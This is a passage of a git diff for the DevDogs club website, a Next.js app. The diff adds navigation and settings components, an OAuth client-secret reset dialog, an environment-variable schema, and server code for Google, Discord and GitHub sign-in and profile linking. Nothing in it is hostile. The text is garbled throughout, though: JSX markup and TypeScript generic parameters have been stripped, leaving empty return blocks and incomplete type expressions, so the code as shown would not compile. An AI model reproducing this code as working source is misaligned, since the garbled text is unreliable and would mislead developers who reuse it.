+} from "react-icons/pi";
+import devdog from "~/assets/devdog.png";
+import AlertBanner from "./AlertBanner";
+import ProfileMenu from "./ProfileMenu";
+import LinkInBio from "./LinkInBio";
+
+interface NavItemProps extends PropsWithChildren {
+ href: ComponentProps["href"];
+ icon: ReactNode;
+}
+
+function NavItem({ href, children, icon }: NavItemProps) {
+ return (
+
+
+ {icon}
+ {children}
+
+
+ );
+}
+
+function NavigationItems() {
+ return (
+
+ } href="/community">
+ Community
+
+ } href="/projects">
+ Projects
+
+ } href="/events">
+ Events
+
+ } href="/partners">
+ Partners
+
+
+ );
+}
+
+interface Props {
+ streak: ComponentProps["streak"] &
+ ComponentProps["streak"];
+ publicProfile:
+ | ComponentProps["publicProfile"]
+ | null
+ | undefined;
+ githubProfile:
+ | ComponentProps["githubProfile"]
+ | null
+ | undefined;
+}
+
+export default function Navigation({
+ publicProfile,
+ githubProfile,
+ streak,
+}: Props) {
+ const [isMenuOpen, setMenuOpen] = useState(false);
+ const [hasScrolled, setHasScrolled] = useState(false);
+ const navigationRef = useRef(null);
+ const searchParams = useSearchParams();
+ const pathname = usePathname();
+
+ const isFromLinkInBio = useMemo(
+ () =>
+ searchParams
+ .getAll("utm_content")
+ .some((s) => s.toLowerCase().replaceAll(/[^a-z]/g, "") === "linkinbio"),
+ [searchParams],
+ );
+
+ const handleScroll = useCallback(() => {
+ if (navigationRef.current) {
+ console.log(navigationRef.current.getBoundingClientRect());
+ setHasScrolled(navigationRef.current.getBoundingClientRect().top === 0);
+ }
+ }, []);
+
+ const handleMenuToggle = useCallback(() => {
+ setMenuOpen((o) => !o);
+
+ navigationRef.current?.scrollIntoView({
+ block: "start",
+ behavior: "smooth",
+ });
+ }, []);
+
+ useEffect(() => {
+ const controller = new AbortController();
+
+ handleScroll();
+ window.addEventListener("scroll", handleScroll, controller);
+
+ return () => controller.abort();
+ }, [handleScroll]);
+
+ useEffect(() => {
+ setMenuOpen(isFromLinkInBio);
+ handleScroll();
+ }, [pathname, isFromLinkInBio, handleScroll]);
+
+ return (
+ <>
+ {!isFromLinkInBio && (
+
+ )}
+
+
+
+
+
+
+
+
+
DevDogs
+
+
+
+
+
+
+
+
+
+
+
+
+ {publicProfile ? (
+
+ ) : (
+
+ Join Us
+
+
+ )}
+
+
+
+
+
+
+
+
+ >
+ );
+}
diff --git a/src/components/OAuthSecrets.tsx b/src/components/OAuthSecrets.tsx
new file mode 100644
index 0000000..21f2d34
--- /dev/null
+++ b/src/components/OAuthSecrets.tsx
@@ -0,0 +1,120 @@
+"use client";
+
+import * as AlertDialog from "@radix-ui/react-alert-dialog";
+import { useActionState, useEffect, useState } from "react";
+import { PiArrowsClockwiseBold } from "react-icons/pi";
+import resetOAuthSecret from "~/server/actions/resetOAuthSecret";
+import FormButton from "./FormButton";
+import CopyInput from "./CopyInput";
+
+type ActionState =
+ | {
+ clientId: string;
+ clientSecret: string;
+ }
+ | {
+ clientId: string;
+ clientSecret: null;
+ }
+ | {
+ clientId: null;
+ clientSecret: null;
+ };
+
+interface Props {
+ clientId: string | null;
+}
+
+export default function OAuthSecrets({ clientId: defaultClientId }: Props) {
+ const [alertOpen, setAlertOpen] = useState(false);
+ const [{ clientId, clientSecret }, dispatch, pending] =
+ useActionState(resetOAuthSecret, {
+ clientId: defaultClientId,
+ clientSecret: null,
+ });
+
+ useEffect(() => {
+ if (!pending) {
+ setAlertOpen(false);
+ }
+ }, [pending]);
+
+ return (
+
+
+
OAuth
+
+
+ Client ID
+
+
+
+
+ Client Secret
+
+
+
+
+
+ Client secrets cannot be accessed after they are generated: store them
+ safely in your project’s{" "}
+
+ .env
+ {" "}
+ file!
+
+
+
+
+ Reset Client Keys
+
+
+
+
+
+
+
+
+
+
+ Reset Client Keys
+
+
+ Resetting your client keys invalidates your existing client ID and
+ secret. This means you won’t be able to continue using them
+ in your projects.
+
+
+
+ Cancel
+
+
+ Continue
+
+
+
+
+
+
+ );
+}
diff --git a/src/components/SettingsNavigation.tsx b/src/components/SettingsNavigation.tsx
new file mode 100644
index 0000000..cce8ddf
--- /dev/null
+++ b/src/components/SettingsNavigation.tsx
@@ -0,0 +1,133 @@
+"use client";
+
+import * as Dialog from "@radix-ui/react-dialog";
+import Link from "next/link";
+import type { PropsWithChildren } from "react";
+import {
+ PiChatCircleDotsBold,
+ PiKeyBold,
+ PiLineVerticalBold,
+ PiLinkBold,
+ PiListBold,
+ PiSignOutBold,
+ PiUserBold,
+} from "react-icons/pi";
+import signOut from "~/server/actions/signOut";
+
+interface NavLinkProps extends PropsWithChildren {
+ href: string;
+ active: boolean;
+}
+
+function NavLink({ active, href, children }: NavLinkProps) {
+ return (
+
+
+ {children}
+
+
+ );
+}
+
+interface NavContentProps {
+ pathname: string;
+}
+
+function NavContent({ pathname }: NavContentProps) {
+ return (
+
+
+
+
+ Public Profile
+
+
+
+ Linked Accounts
+
+
+
+ API Keys
+
+
+
+ Feedback
+
+
+
+
+
+
+
+
+
+ Sign Out
+
+
+
+ );
+}
+
+interface Props extends PropsWithChildren {
+ title: string;
+ pathname: string;
+}
+
+export default function SettingsNavigation({
+ title,
+ pathname,
+ children,
+}: Props) {
+ return (
+
+
+
+
+ Settings {" "}
+ {title}
+
+
+
+
+
+
+
+
+
+
+
+ {children}
+
+
+
+
+
+ Settings Navigation
+
+
+
+
+
+ );
+}
diff --git a/src/components/Share.tsx b/src/components/Share.tsx
new file mode 100644
index 0000000..e707067
--- /dev/null
+++ b/src/components/Share.tsx
@@ -0,0 +1,7 @@
+"use client";
+
+import type { PropsWithChildren } from "react";
+
+export default function Share({ children }: PropsWithChildren) {
+ return <>{children}>;
+}
diff --git a/src/components/UnderConstruction.tsx b/src/components/UnderConstruction.tsx
new file mode 100644
index 0000000..70adc81
--- /dev/null
+++ b/src/components/UnderConstruction.tsx
@@ -0,0 +1,32 @@
+import { PiArrowRightBold } from "react-icons/pi";
+import LinkButton from "./LinkButton";
+
+export default function UnderConstruction() {
+ return (
+
+
+
+ Under Construction
+
+
+
+ We’re in the process of redesigning our website to make it
+ more useful, accessible, and beautiful!
+
+
+ This page isn’t quite done yet, but some other (more
+ important) pages are.
+
+
+
+
+ Check it Out
+
+
+
+
+ );
+}
diff --git a/src/env.ts b/src/env.ts
new file mode 100644
index 0000000..1613692
--- /dev/null
+++ b/src/env.ts
@@ -0,0 +1,121 @@
+import { createEnv } from "@t3-oss/env-nextjs";
+import { z } from "zod";
+
+function switchEnvironment(opt: { local: T; vercel: R }) {
+ return process.env.VERCEL_ENV && process.env.VERCEL_ENV !== "development"
+ ? opt.vercel
+ : opt.local;
+}
+
+export const env = createEnv({
+ /**
+ * Specify your server-side environment variables schema here. This way you can ensure the app
+ * isn't built with invalid env vars.
+ */
+ server: {
+ BASE_URL: switchEnvironment({
+ local: z.url().default(`http://localhost:${process.env.PORT ?? 3000}`),
+ vercel: z
+ .string()
+ .transform((str) => "https://" + str)
+ .pipe(z.url()),
+ }),
+ BCRYPT_ROUNDS: z.number().default(12),
+ CRON_SECRET: switchEnvironment({
+ local: z.string().default(""),
+ vercel: z.string().min(32),
+ }),
+ DEVDOGS_EPOCH: z.coerce.date().default(new Date(2024, 7, 22)),
+ DISCORD_CLIENT_ID: z.string(),
+ DISCORD_CLIENT_SECRET: z.string(),
+ DISCORD_GUILD_ID: z.string(),
+ DISCORD_PUBLIC_KEY: z.string(),
+ DISCORD_TOKEN: z.string(),
+ GITHUB_CLIENT_ID: z.string(),
+ GITHUB_CLIENT_SECRET: z.string(),
+ GITHUB_ORG: z.string(),
+ GITHUB_TOKEN: z.string(),
+ GOOGLE_CLIENT_ID: z.string(),
+ GOOGLE_CLIENT_SECRET: z.string(),
+ MYSQL_USER: switchEnvironment({
+ local: z.string().default("root"),
+ vercel: z.string(),
+ }),
+ MYSQL_PASSWORD: z.string().default("password"),
+ MYSQL_HOST: z.string().default("localhost"),
+ MYSQL_PORT: z.coerce.number().min(1).max(65536).default(25060),
+ MYSQL_DATABASE: z.string().default("devdogs"),
+ NODE_ENV: z
+ .enum(["development", "test", "production"])
+ .default("development"),
+ S3_PORT: z.coerce.number().min(1).max(65536).default(4566),
+ S3_REGION: z.string().default("us-east-1"),
+ S3_ACCESS_KEY_ID: z.string().default("test"),
+ S3_SECRET_ACCESS_KEY: z.string().default("test"),
+ SHARED_AUTH_CLIENT_ID: switchEnvironment({
+ local: z.string().optional(),
+ vercel: z.string().min(16),
+ }),
+ SHARED_AUTH_CLIENT_SECRET: switchEnvironment({
+ local: z.string().optional(),
+ vercel: z.string().min(32),
+ }),
+ },
+
+ /**
+ * Specify your client-side environment variables schema here. This way you can ensure the app
+ * isn't built with invalid env vars. To expose them to the client, prefix them with
+ * `NEXT_PUBLIC_`.
+ */
+ client: {
+ // NEXT_PUBLIC_CLIENTVAR: z.string(),
+ },
+
+ /**
+ * You can't destruct `process.env` as a regular object in the Next.js edge runtimes (e.g.
+ * middlewares) or client-side so we need to destruct manually.
+ */
+ runtimeEnv: {
+ BASE_URL:
+ process.env.BASE_URL ??
+ (process.env.VERCEL_ENV === "production"
+ ? process.env.VERCEL_PROJECT_PRODUCTION_URL
+ : process.env.VERCEL_URL),
+ BCRYPT_ROUNDS: process.env.BCRYPT_ROUNDS,
+ CRON_SECRET: process.env.CRON_SECRET,
+ DEVDOGS_EPOCH: process.env.DEVDOGS_EPOCH,
+ GITHUB_CLIENT_ID: process.env.GITHUB_CLIENT_ID,
+ GITHUB_CLIENT_SECRET: process.env.GITHUB_CLIENT_SECRET,
+ GITHUB_ORG: process.env.GITHUB_ORG,
+ GITHUB_TOKEN: process.env.GITHUB_TOKEN,
+ GOOGLE_CLIENT_ID: process.env.GOOGLE_CLIENT_ID,
+ GOOGLE_CLIENT_SECRET: process.env.GOOGLE_CLIENT_SECRET,
+ DISCORD_CLIENT_ID: process.env.DISCORD_CLIENT_ID,
+ DISCORD_CLIENT_SECRET: process.env.DISCORD_CLIENT_SECRET,
+ DISCORD_GUILD_ID: process.env.DISCORD_GUILD_ID,
+ DISCORD_PUBLIC_KEY: process.env.DISCORD_PUBLIC_KEY,
+ DISCORD_TOKEN: process.env.DISCORD_TOKEN,
+ MYSQL_USER: process.env.MYSQL_USER,
+ MYSQL_PASSWORD: process.env.MYSQL_PASSWORD,
+ MYSQL_HOST: process.env.MYSQL_HOST,
+ MYSQL_PORT: process.env.MYSQL_PORT,
+ MYSQL_DATABASE: process.env.MYSQL_DATABASE,
+ NODE_ENV: process.env.NODE_ENV,
+ S3_PORT: process.env.S3_PORT,
+ S3_REGION: process.env.S3_REGION,
+ S3_ACCESS_KEY_ID: process.env.S3_ACCESS_KEY_ID,
+ S3_SECRET_ACCESS_KEY: process.env.S3_SECRET_ACCESS_KEY,
+ SHARED_AUTH_CLIENT_ID: process.env.SHARED_AUTH_CLIENT_ID,
+ SHARED_AUTH_CLIENT_SECRET: process.env.SHARED_AUTH_CLIENT_SECRET,
+ },
+ /**
+ * Run `build` or `dev` with `SKIP_ENV_VALIDATION` to skip env validation. This is especially
+ * useful for Docker builds.
+ */
+ skipValidation: !!process.env.SKIP_ENV_VALIDATION,
+ /**
+ * Makes it so that empty strings are treated as undefined. `SOME_VAR: z.string()` and
+ * `SOME_VAR=''` will throw an error.
+ */
+ emptyStringAsUndefined: true,
+});
diff --git a/src/hooks/use-toast.js b/src/hooks/use-toast.js
deleted file mode 100644
index b203b7e..0000000
--- a/src/hooks/use-toast.js
+++ /dev/null
@@ -1,155 +0,0 @@
-"use client";
-// Inspired by react-hot-toast library
-import * as React from "react";
-
-const TOAST_LIMIT = 1;
-const TOAST_REMOVE_DELAY = 1000000;
-
-const actionTypes = {
- ADD_TOAST: "ADD_TOAST",
- UPDATE_TOAST: "UPDATE_TOAST",
- DISMISS_TOAST: "DISMISS_TOAST",
- REMOVE_TOAST: "REMOVE_TOAST",
-};
-
-let count = 0;
-
-function genId() {
- count = (count + 1) % Number.MAX_SAFE_INTEGER;
- return count.toString();
-}
-
-const toastTimeouts = new Map();
-
-const addToRemoveQueue = (toastId) => {
- if (toastTimeouts.has(toastId)) {
- return;
- }
-
- const timeout = setTimeout(() => {
- toastTimeouts.delete(toastId);
- dispatch({
- type: "REMOVE_TOAST",
- toastId: toastId,
- });
- }, TOAST_REMOVE_DELAY);
-
- toastTimeouts.set(toastId, timeout);
-};
-
-export const reducer = (state, action) => {
- switch (action.type) {
- case "ADD_TOAST":
- return {
- ...state,
- toasts: [action.toast, ...state.toasts].slice(0, TOAST_LIMIT),
- };
-
- case "UPDATE_TOAST":
- return {
- ...state,
- toasts: state.toasts.map((t) =>
- t.id === action.toast.id ? { ...t, ...action.toast } : t,
- ),
- };
-
- case "DISMISS_TOAST": {
- const { toastId } = action;
-
- // ! Side effects ! - This could be extracted into a dismissToast() action,
- // but I'll keep it here for simplicity
- if (toastId) {
- addToRemoveQueue(toastId);
- } else {
- state.toasts.forEach((toast) => {
- addToRemoveQueue(toast.id);
- });
- }
-
- return {
- ...state,
- toasts: state.toasts.map((t) =>
- t.id === toastId || toastId === undefined
- ? {
- ...t,
- open: false,
- }
- : t,
- ),
- };
- }
- case "REMOVE_TOAST":
- if (action.toastId === undefined) {
- return {
- ...state,
- toasts: [],
- };
- }
- return {
- ...state,
- toasts: state.toasts.filter((t) => t.id !== action.toastId),
- };
- }
-};
-
-const listeners = [];
-
-let memoryState = { toasts: [] };
-
-function dispatch(action) {
- memoryState = reducer(memoryState, action);
- listeners.forEach((listener) => {
- listener(memoryState);
- });
-}
-
-function toast({ ...props }) {
- const id = genId();
-
- const update = (props) =>
- dispatch({
- type: "UPDATE_TOAST",
- toast: { ...props, id },
- });
- const dismiss = () => dispatch({ type: "DISMISS_TOAST", toastId: id });
-
- dispatch({
- type: "ADD_TOAST",
- toast: {
- ...props,
- id,
- open: true,
- onOpenChange: (open) => {
- if (!open) dismiss();
- },
- },
- });
-
- return {
- id: id,
- dismiss,
- update,
- };
-}
-
-function useToast() {
- const [state, setState] = React.useState(memoryState);
-
- React.useEffect(() => {
- listeners.push(setState);
- return () => {
- const index = listeners.indexOf(setState);
- if (index > -1) {
- listeners.splice(index, 1);
- }
- };
- }, [state]);
-
- return {
- ...state,
- toast,
- dismiss: (toastId) => dispatch({ type: "DISMISS_TOAST", toastId }),
- };
-}
-
-export { useToast, toast };
diff --git a/src/lib/isBetween.ts b/src/lib/isBetween.ts
new file mode 100644
index 0000000..eabd5ab
--- /dev/null
+++ b/src/lib/isBetween.ts
@@ -0,0 +1,10 @@
+import { isBefore } from "date-fns";
+
+export default function isInRange(
+ [start, end]: [string | number | Date | null, string | number | Date | null],
+ compare: string | number | Date,
+) {
+ return (
+ (!start || isBefore(start, compare)) && (!end || isBefore(compare, end))
+ );
+}
diff --git a/src/lib/toFixedLength.ts b/src/lib/toFixedLength.ts
new file mode 100644
index 0000000..0cc2160
--- /dev/null
+++ b/src/lib/toFixedLength.ts
@@ -0,0 +1,9 @@
+export default function toFixedLength(number: number, length: number) {
+ let s = String(number);
+
+ while (s.length < length) {
+ s = "0" + s;
+ }
+
+ return s;
+}
diff --git a/src/lib/utils.js b/src/lib/utils.js
deleted file mode 100644
index 378ccef..0000000
--- a/src/lib/utils.js
+++ /dev/null
@@ -1,6 +0,0 @@
-import { clsx } from "clsx";
-import { twMerge } from "tailwind-merge";
-
-export function cn(...inputs) {
- return twMerge(clsx(inputs));
-}
diff --git a/src/middleware.js b/src/middleware.js
deleted file mode 100644
index 67d7083..0000000
--- a/src/middleware.js
+++ /dev/null
@@ -1,32 +0,0 @@
-// middleware.ts
-
-import { NextResponse } from "next/server";
-
-export async function middleware(req) {
- const cookie = await req.cookies.get("connect.sid");
-
- if (cookie) {
- const res = await fetch("https://api.devdogs.uga.edu/auth/session", {
- method: "GET",
- credentials: "include",
- headers: {
- "Content-Type": "application/json",
- Cookie: `${cookie.name}=${cookie.value}`,
- },
- });
-
- if (res.status !== 200) {
- return NextResponse.redirect(new URL("/login", req.url));
- }
- } else {
- return NextResponse.redirect(new URL("/login", req.url));
- }
-
- // Allow the request to proceed
- return NextResponse.next();
-}
-
-// Apply middleware to specific routes
-export const config = {
- matcher: ["/dashboard/:path*"], // Routes that need authentication
-};
diff --git a/src/registerDiscordCommands.ts b/src/registerDiscordCommands.ts
new file mode 100644
index 0000000..f567ece
--- /dev/null
+++ b/src/registerDiscordCommands.ts
@@ -0,0 +1,3 @@
+// import { registerCommands } from "./server/discord";
+
+// await registerCommands();
diff --git a/src/server/actions/linkDiscordProfile.ts b/src/server/actions/linkDiscordProfile.ts
new file mode 100644
index 0000000..3e7c444
--- /dev/null
+++ b/src/server/actions/linkDiscordProfile.ts
@@ -0,0 +1,17 @@
+"use server";
+
+import { notFound } from "next/navigation";
+import { authenticate } from "../auth";
+import { getCallbackPath } from "../utilts";
+
+/**
+ * Begins an OAuth flow linking a Discord profile to a signed-in user.
+ * @param formData Allows one field.
+ * - `callbackPath` is the path to redirect the user to after the action completes. Defaults to the value of the `referer` header if present or `/` if not.
+ */
+export default async function signIn(formData: FormData) {
+ const callbackPath = await getCallbackPath("/", formData);
+ await authenticate("discord", callbackPath);
+ console.error("Redirect failed.");
+ notFound();
+}
diff --git a/src/server/actions/linkGithubProfile.ts b/src/server/actions/linkGithubProfile.ts
new file mode 100644
index 0000000..cd1e87b
--- /dev/null
+++ b/src/server/actions/linkGithubProfile.ts
@@ -0,0 +1,17 @@
+"use server";
+
+import { notFound } from "next/navigation";
+import { authenticate } from "../auth";
+import { getCallbackPath } from "../utilts";
+
+/**
+ * Begins an OAuth flow linking a GitHub profile to a signed-in user.
+ * @param formData Allows one field.
+ * - `callbackPath` is the path to redirect the user to after the action completes. Defaults to the value of the `referer` header if present or `/` if not.
+ */
+export default async function linkGithubProfile(formData: FormData) {
+ const callbackPath = await getCallbackPath("/", formData);
+ await authenticate("github", callbackPath);
+ console.error("Redirect failed.");
+ notFound();
+}
diff --git a/src/server/actions/resetOAuthSecret.ts b/src/server/actions/resetOAuthSecret.ts
new file mode 100644
index 0000000..f11bfbf
--- /dev/null
+++ b/src/server/actions/resetOAuthSecret.ts
@@ -0,0 +1,32 @@
+"use server";
+
+import { createId } from "@paralleldrive/cuid2";
+import bcrypt from "bcrypt";
+import { sql } from "drizzle-orm";
+import { env } from "~/env";
+import { expectSession } from "../auth";
+import { db } from "../db";
+import { oauthKeys } from "../db/schema/tables";
+import { generateSecureString } from "../utilts";
+
+export default async function resetOAuthSecret() {
+ const session = await expectSession("/settings/keys", {});
+ const clientId = createId();
+ const clientSecret = "ddk_" + generateSecureString(64);
+
+ await db
+ .insert(oauthKeys)
+ .values({
+ userId: session.userId,
+ clientId,
+ clientSecret: await bcrypt.hash(clientSecret, env.BCRYPT_ROUNDS),
+ })
+ .onDuplicateKeyUpdate({
+ set: {
+ clientId: sql`values(${oauthKeys.clientId})`,
+ clientSecret: sql`values(${oauthKeys.clientSecret})`,
+ },
+ });
+
+ return { clientId, clientSecret };
+}
diff --git a/src/server/actions/signIn.ts b/src/server/actions/signIn.ts
new file mode 100644
index 0000000..0a3aa69
--- /dev/null
+++ b/src/server/actions/signIn.ts
@@ -0,0 +1,17 @@
+"use server";
+
+import { notFound } from "next/navigation";
+import { authenticate } from "../auth";
+import { getCallbackPath } from "../utilts";
+
+/**
+ * Begins the authentication flow for a user.
+ * @param formData Allows one field.
+ * - `callbackPath` is the path to redirect the user to after the action completes. Defaults to the value of the `referer` header if present or `/` if not.
+ */
+export default async function signIn(formData: FormData) {
+ const callbackPath = await getCallbackPath("/", formData);
+ await authenticate("google", callbackPath);
+ console.error("Redirect failed.");
+ notFound();
+}
diff --git a/src/server/actions/signOut.ts b/src/server/actions/signOut.ts
new file mode 100644
index 0000000..9c8ae63
--- /dev/null
+++ b/src/server/actions/signOut.ts
@@ -0,0 +1,20 @@
+"use server";
+
+import { eq } from "drizzle-orm";
+import { cookies } from "next/headers";
+import { redirect } from "next/navigation";
+import { db } from "../db";
+import { sessions } from "../db/schema/tables";
+import { getCallbackPath } from "../utilts";
+
+export default async function signOut(formData: FormData) {
+ const jar = await cookies();
+ const token = jar.get("session")?.value;
+
+ if (token) {
+ jar.delete("session");
+ await db.delete(sessions).where(eq(sessions.token, token));
+ }
+
+ redirect(await getCallbackPath("/", formData));
+}
diff --git a/src/server/actions/unlinkDiscordProfile.ts b/src/server/actions/unlinkDiscordProfile.ts
new file mode 100644
index 0000000..9304bbe
--- /dev/null
+++ b/src/server/actions/unlinkDiscordProfile.ts
@@ -0,0 +1,16 @@
+"use server";
+import { refresh } from "next/cache";
+import { expectSession } from "../auth";
+import { unlinkProfile } from "../auth/providers/discord";
+
+export default async function unlinkDiscordProfile() {
+ const session = await expectSession(null, {
+ user: { columns: { discordId: true } },
+ });
+
+ if (session.user.discordId) {
+ await unlinkProfile(session.user.discordId);
+ }
+
+ refresh();
+}
diff --git a/src/server/actions/unlinkGithubProfile.ts b/src/server/actions/unlinkGithubProfile.ts
new file mode 100644
index 0000000..6ee94c7
--- /dev/null
+++ b/src/server/actions/unlinkGithubProfile.ts
@@ -0,0 +1,16 @@
+"use server";
+import { refresh } from "next/cache";
+import { expectSession } from "../auth";
+import { unlinkProfile } from "../auth/providers/github";
+
+export default async function unlinkGithubProfile() {
+ const session = await expectSession(null, {
+ user: { columns: {}, with: { github: { columns: { login: true } } } },
+ });
+
+ if (session.user.github?.login) {
+ await unlinkProfile(session.user.github.login);
+ }
+
+ refresh();
+}
diff --git a/src/server/auth/index.ts b/src/server/auth/index.ts
new file mode 100644
index 0000000..f52b7a1
--- /dev/null
+++ b/src/server/auth/index.ts
@@ -0,0 +1,319 @@
+import bcrypt from "bcrypt";
+import { eq } from "drizzle-orm";
+import { cookies } from "next/headers";
+import { notFound, redirect, unauthorized } from "next/navigation";
+import type { NextRequest } from "next/server";
+import { env } from "~/env";
+import { db } from "~/server/db";
+import { authorizationCodes, oauthStates } from "~/server/db/schema/tables";
+import * as discord from "./providers/discord";
+import * as github from "./providers/github";
+import * as google from "./providers/google";
+import { searchParamsSchema } from "./schema";
+
+const OAUTH_REDIRECT_URI = new URL("/api/auth", env.BASE_URL).toString();
+
+/**
+ * Starts the OAuth flow with a specified provider
+ * @param provider One of `"google"`, `"discord"`, or `"github"`
+ * @param callbackPath Where to navigate the user to after the OAuth flow is complete
+ */
+export async function authenticate(
+ provider: "google" | "discord" | "github",
+ callbackPath: string,
+) {
+ // We expect that users attempting to link their discord/github profile are signed in
+ if (provider !== "google") {
+ await expectSession(null, {});
+ }
+
+ const [insertedState] = await db
+ .insert(oauthStates)
+ .values({
+ callbackPath,
+ provider,
+ })
+ .$returningId();
+
+ if (!insertedState) {
+ throw new Error("Failed to insert state into database.");
+ }
+
+ switch (provider) {
+ case "google":
+ return google.requestAuthorization(
+ insertedState.token,
+ OAUTH_REDIRECT_URI,
+ );
+ case "discord":
+ return discord.requestAuthorization(
+ insertedState.token,
+ OAUTH_REDIRECT_URI,
+ );
+ case "github":
+ return github.requestAuthorization(
+ insertedState.token,
+ OAUTH_REDIRECT_URI,
+ );
+ }
+}
+
+/**
+ * Gets the currently signed in user.
+ * @param include Specify data to include or exclude for the session using a Drizzle soft-relation query.
+ * @returns `null` if the user is not signed in, or an object with session data if the user is signed in.
+ */
+export async function getSession<
+ T extends (Parameters[0] & {})["with"],
+>(include: T) {
+ const token = (await cookies()).get("session")?.value;
+
+ if (!token) {
+ return null;
+ }
+
+ const session = await db.query.sessions.findFirst({
+ where: {
+ token: {
+ eq: token,
+ },
+ },
+ with: include,
+ });
+
+ return session ?? null;
+}
+
+/**
+ * Gets the currently signed in user.
+ * @param callbackPath Where to return after signing in if a session is not present. If this is `null`, then an `unauthorized()` error will be thrown.
+ * @param include Specify data to include or exclude for the session using a Drizzle soft-relation query.
+ * @returns The session data.
+ */
+export async function expectSession<
+ T extends (Parameters[0] & {})["with"],
+>(callbackPath: string | null, include: T) {
+ const token = (await cookies()).get("session")?.value;
+
+ if (!token) {
+ if (callbackPath === null) {
+ notFound();
+ }
+
+ return await authenticate("google", callbackPath);
+ }
+
+ const session = await db.query.sessions.findFirst({
+ where: {
+ token: {
+ eq: token,
+ },
+ },
+ with: include,
+ });
+
+ if (!session) {
+ if (callbackPath === null) {
+ notFound();
+ }
+
+ return await authenticate("google", callbackPath);
+ }
+
+ return session;
+}
+
+export async function handleOAuthRedirect(request: NextRequest) {
+ const params = await searchParamsSchema
+ .parseAsync(request.nextUrl.searchParams)
+ .catch((e) => {
+ console.error(e);
+ unauthorized();
+ });
+
+ // A user is trying to "Sign in with DevDogs" via OAuth
+ if ("redirect_uri" in params) {
+ const [insertedAuthorization] = await db
+ .insert(authorizationCodes)
+ .values({
+ clientId:
+ params.client_id !== env.SHARED_AUTH_CLIENT_ID
+ ? params.client_id
+ : null,
+ redirectUri: params.redirect_uri,
+ state: params.state,
+ })
+ .$returningId()
+ .catch(() =>
+ // If this insert fails, it's almost certainly because the `clientId` foreign key constraint is invalid (i.e., they're using a phony client ID)
+ unauthorized(),
+ );
+
+ if (!insertedAuthorization) {
+ unauthorized();
+ }
+
+ redirect(
+ "/api/auth?" +
+ new URLSearchParams({
+ authorization: insertedAuthorization.code,
+ }).toString(),
+ );
+ }
+
+ // A user is "Signing in with DevDogs" and has completed signing in with UGA
+ if ("authorization" in params) {
+ const session = await expectSession(
+ "/api/auth?" +
+ new URLSearchParams({
+ authorization: params.authorization.code,
+ }).toString(),
+ {},
+ );
+
+ const [result] = await db
+ .update(authorizationCodes)
+ .set({ userId: session.userId })
+ .where(eq(authorizationCodes.code, params.authorization.code));
+
+ if (result.affectedRows < 1) {
+ unauthorized();
+ }
+
+ redirect(
+ new URL(
+ "?" +
+ new URLSearchParams({
+ code: params.authorization.code,
+ state: params.authorization.state ?? "",
+ }).toString(),
+ params.authorization.redirectUri,
+ ).toString(),
+ );
+ }
+
+ if (params.state.provider === "github") {
+ const session = await expectSession(null, {});
+ await github.linkProfile(params.code, OAUTH_REDIRECT_URI, session.userId);
+ redirect(params.state.callbackPath);
+ }
+
+ if (params.state.provider === "discord") {
+ const session = await expectSession(null, {
+ user: { columns: {}, with: { publicProfile: true } },
+ });
+
+ await discord.linkProfile(
+ params.code,
+ OAUTH_REDIRECT_URI,
+ session.user.publicProfile,
+ );
+
+ redirect(params.state.callbackPath);
+ }
+
+ const sessionToken = await google.createSession(
+ params.code,
+ OAUTH_REDIRECT_URI,
+ request.headers.get("user-agent"),
+ );
+
+ (await cookies()).set("session", sessionToken);
+ redirect(params.state.callbackPath);
+}
+
+export async function handleProfileRequest(request: NextRequest) {
+ const data = await request.formData();
+ const clientId = data.get("client_id");
+ const clientSecret = data.get("client_secret");
+ const code = data.get("code");
+ const grantType = data.get("grant_type");
+ const redirectUri = data.get("redirect_uri");
+
+ if (
+ grantType !== "authorization_code" ||
+ typeof clientId !== "string" ||
+ typeof clientSecret !== "string" ||
+ typeof code !== "string" ||
+ typeof clientId !== "string" ||
+ typeof redirectUri !== "string"
+ ) {
+ console.error("Invalid request");
+ unauthorized();
+ }
+
+ if (
+ clientId === env.SHARED_AUTH_CLIENT_ID &&
+ clientSecret === env.SHARED_AUTH_CLIENT_SECRET
+ ) {
+ const authorization = await db.query.authorizationCodes.findFirst({
+ where: {
+ code: { eq: code },
+ clientId: { isNull: true },
+ redirectUri: { eq: redirectUri },
+ },
+ with: {
+ user: {
+ with: {
+ publicProfile: true,
+ },
+ columns: {
+ ugaMyId: true,
+ },
+ },
+ },
+ });
+
+ if (!authorization?.user) {
+ console.error(
+ "Vercel flow: invalid code or could not find user in database.",
+ );
+ unauthorized();
+ }
+
+ await db
+ .delete(authorizationCodes)
+ .where(eq(authorizationCodes.code, code));
+
+ return Response.json({
+ ...authorization.user.publicProfile,
+ id: authorization.user.ugaMyId,
+ });
+ }
+
+ const authorization = await db.query.authorizationCodes.findFirst({
+ where: {
+ code: { eq: code },
+ clientId: { eq: clientId },
+ redirectUri: { eq: redirectUri },
+ },
+ with: {
+ client: true,
+ user: {
+ with: {
+ publicProfile: true,
+ },
+ columns: {
+ ugaMyId: true,
+ },
+ },
+ },
+ });
+
+ if (
+ !authorization?.user ||
+ !authorization.client ||
+ !(await bcrypt.compare(clientSecret, authorization.client.clientSecret))
+ ) {
+ console.error(
+ "Local flow: invalid code, could not find user in database, or incorrect client secret",
+ );
+ unauthorized();
+ }
+
+ await db.delete(authorizationCodes).where(eq(authorizationCodes.code, code));
+ return Response.json({
+ ...authorization.user.publicProfile,
+ id: authorization.user.ugaMyId,
+ });
+}
diff --git a/src/server/auth/providers/discord.ts b/src/server/auth/providers/discord.ts
new file mode 100644
index 0000000..f355443
--- /dev/null
+++ b/src/server/auth/providers/discord.ts
@@ -0,0 +1,140 @@
+import { eq } from "drizzle-orm";
+import { redirect } from "next/navigation";
+import z from "zod";
+import { env } from "~/env";
+import { db } from "~/server/db";
+import {
+ discordProfiles,
+ SERVER_ONLY_DO_NOT_LEAK_accessTokens,
+ users,
+ type publicProfiles,
+} from "~/server/db/schema/tables";
+import { tokenResultSchema } from "../schema";
+
+/**
+ * Redirects the user to the consent page. If successful, they will be returned to the redirect with an authorization code in the URL search parameters.
+ * @param stateToken Used to track state and prevent CSRF attacks; this token will be present in the URL search parameters with the authorization code.
+ * @param redirectUri Where to navigate the user with the authorization code after consent is obtained
+ */
+export function requestAuthorization(
+ stateToken: string,
+ redirectUri: string,
+): never {
+ redirect(
+ "https://discord.com/api/oauth2/authorize?" +
+ new URLSearchParams({
+ state: stateToken,
+ redirect_uri: redirectUri,
+ response_type: "code",
+ client_id: env.DISCORD_CLIENT_ID,
+ scope: "identify guilds.join",
+ }).toString(),
+ );
+}
+
+const profileSchema = z.object({
+ id: z.string(),
+ username: z.string(),
